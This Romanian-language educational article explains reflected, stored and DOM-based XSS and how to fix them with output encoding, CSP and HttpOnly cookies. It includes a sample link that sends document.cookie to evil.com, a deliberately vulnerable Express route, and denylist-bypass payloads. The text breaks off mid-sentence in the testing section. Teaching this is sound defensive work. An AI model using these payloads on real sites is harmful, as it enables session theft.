Cross-Site Scripting: De ce XSS mai rănește și în 2024
O analiză practică a XSS reflectat, stocat și bazat pe DOM, cum îl exploatează atacatorii și cum să-l oprești cu adevărat.
XSS se află în OWASP Top 10 de două decenii și rămâne una dintre primele lucruri pe care le verifică un pentester. Eroarea este simplă de explicat și dificilă de închis complet: un atacator face ca JavaScript-ul lui să ruleze în browserul unei victime sub originea site-ului tău. Odată ce se întâmplă asta, poate citi cookie-uri, falsifica cereri sau rescrie pagina în fața utilizatorului.
Cele trei variante
XSS reflectat este atacul clasic de phishing prin link. O pagină de căutare preia ?q= din URL și o tipărește direct în HTML fără codificare. Trimite cuiva un link ca https://shop.example/search?q=<script>fetch('https://evil.com/steal?c='+document.cookie)</script> și dacă îl deschide în timp ce este autentificat, cookie-ul de sesiune ajunge la atacator.
XSS stocat este mai rău pentru că nu are nevoie de un link. Un câmp de comentariu, o biografie de profil, o descriere de tichet de suport — oriunde se salvează datele de intrare de la utilizator și se redă mai târziu altor utilizatori. Postează payload-ul o dată și fiecare vizitator care vede acea pagină este lovit, fără inginerie socială.
XSS bazat pe DOM trăiește în întregime în cod pe partea de client. Serverul nu vede niciodată payload-ul malițios; este JavaScript citind ceva de genul location.hash sau document.referrer și punând-o în innerHTML sau eval(). Acesta confundă oamenii pentru că jurnalizarea pe partea de server arată complet curat.
De unde vine de fapt
Mayoritatea erorilor XSS se reduc la o singură greșeală: a trata datele nesigure ca markup sau cod sigur. Sinks comune de urmărit în JavaScript: innerHTML, outerHTML, document.write, eval, setTimeout cu argument string și .html() din jQuery. Pe partea de server, motoare de șabloane care nu fac auto-escape în mod implicit (concatenare brută de string-uri în HTML) sunt vinovatul obișnuit.
Un exemplu rapid din lumea reală: o aplicație Node/Express care face
app.get('/greet', (req, res) => {
res.send(`<h1>Hello ${req.query.name}</h1>`);
});
are un XSS reflectat imediat. req.query.name merge direct în răspuns fără codificare. Oricine accesează /greet?name=<img src=x onerror=alert(document.domain)> o demonstrează în aproximativ două secunde.
A-l fixa cu adevărat
Codificarea output-ului conștient de context este fix-ul real, nu o cale de ocolire. Corpul HTML, atribut HTML, string JavaScript și contexte URL au fiecare nevoie de reguli de codificare diferite — o bibliotecă ca Java Encoder de la OWASP, sau auto-escape încorporat în motoare de șabloane ca Jinja2, React JSX sau Handlebars, o gestionează corect. React în particular escapează conținutul text în mod implicit, de aceea dangerouslySetInnerHTML este numit așa: este o etichetă de avertisment.
Validarea input-ului ajută dar nu este suficientă singură. Blocarea tag-urilor <script> prin denylist se ocolește constant — <img src=x onerror=...>, <svg onload=...> sau handler-e de evenimente pe aproape orice tag funcționează. Allowlisting formatelor așteptate (o regex de email, un ID numeric) este bine ca strat secundar, dar nu înlocuiește codificarea output-ului adecvată.
Content-Security-Policy este stratul de apărare în adâncime cel mai puternic disponibil. O politică ca
Content-Security-Policy: script-src 'self' 'nonce-r4nd0m123'; object-src 'none'; base-uri 'self';
blochează scripturile inline și sursele de script terță parte decât dacă sunt explicit nonce'd sau allowlist-ate, ceea ce oprește majoritatea payload-urilor XSS din a se executa chiar dacă se strecoară peste codificare. Evită unsafe-inline și unsafe-eval în CSP-uri de producție; ele anulează cea mai mare parte a protecției.
Setează cookie-uri cu flagurile HttpOnly și Secure astfel încât chiar și un XSS reușit să nu poată citi direct cookie-ul de sesiune prin document.cookie. Nu oprește injecția dar limitează raza de explozie semnificativ.
Testarea pentru asta singur
Scannerul activ din Burp Suite prinde o mulțime de XSS reflectat și stocat automat, dar testarea manuală contează și pentru cazuri bazate pe DOM. Unelte ca testul propriu al DOMPurify sau pur și simplu grep-area bazei de cod pentru innerHTML = și eval( vor expune un număr surprinzător de descoperiri rapid. Pentru o sondă manuală, payload-ul `
Scris cu asistență AI, revizuit și publicat de Michal Pilch (CISSP), Korra Studio.
Aceasta este o notă din baza de cunoștințe Korra Studio — platforma asociază fiecare subiect cu mentorat 1-la-1.
Început gratuitarrow_forward